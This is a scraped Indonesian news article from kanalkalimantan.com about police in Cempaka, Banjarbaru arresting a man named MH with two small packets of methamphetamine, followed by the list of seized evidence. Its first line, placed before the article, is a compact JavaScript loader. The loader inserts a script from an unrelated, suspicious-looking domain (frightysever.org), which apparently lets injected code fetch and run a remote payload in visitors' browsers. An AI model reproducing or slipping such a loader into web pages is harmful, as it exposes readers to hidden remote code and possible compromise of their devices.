(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Anggota Satreskrim Polsek Cempaka mengamankan seorang laki-laki di Jalan Perjuangan RT 005/002, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru, simpan paket sabu.
Tersangka MH ditangkap bersama barang bukti dua paket sabu dengan masing-masing berat kotor 0,21 gram dan 0,20 gram, pada Senin (3/1/2022) sekitar pukul 23.30 Wita.
“Pelaku berhasil diamankan Satreskrim Polsek Cempaka dari informasi yang diperoleh dari warga,” ungkap Kapolsek Cempaka, Ipda Dr Subroto Rindang Arie Setyawan, melalui Kasi Humas Polsek Cempaka Aipda Hendra Fahmi kepada kanalkalimantan.com, Selasa (4/1/2022).
Penangkapan dipimpin Kanit Reskrim Polsek Cempaka Aiptu Oktrianto Bayu Sumargi berawal dari informasi warga, menyusul di tempat tersebut dilaporkan ada penyalahgunaan Narkotika jenis sabu.
Baca juga: Vaksinasi Anak Usia 6-11 Tahun di Banjarbaru Digelar Waktu Dekat!
“MH berhasil diamankan di kediamannya bersama barang bukti,” ujar Aipda Hendra Fahmi.
Atas tindak pidana peredaran gelap dan penyalahgunaan Narkotika jenis sabu, MH dikenakan pasal 114 ayat (1) sub pasal 112 ayat (1) UU RI Nomor 35 tahun 2009 tentang Narkotika.
Barang bukti berhasil dimamankan dari tangan pelaku berhasil diamankan barang bukti berupa satu paket sabu berat berat kotor 0,20 gram (0,03 gram berat bersih) dan sabu berat kotor 0,21 (0,04 gram berat bersih).
Kemudian tiga buah sedotan plastik, tiga buah plastik klip bening, satu buah pipet kaca bening, satu buah tusuk gigi kayu, satu buah bong terbuat dari botol plastik, enam buah korek api, dua buah kotak rokok, satu buah tisu, satu buah timbangan digital, enam buah batrai merk panasonic, satu buah kantong kain kecil warna merah, satu buah tas kain kecil warna orange, satu buah Handphone merk Samsung Duos, serta uang tunai sebesar 100 ribu.
“Pelaku beserta barang bukti dibawa dan diamankan ke Mapolsek Cempaka untuk diproses hukum lebih lanjut,” tutupnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.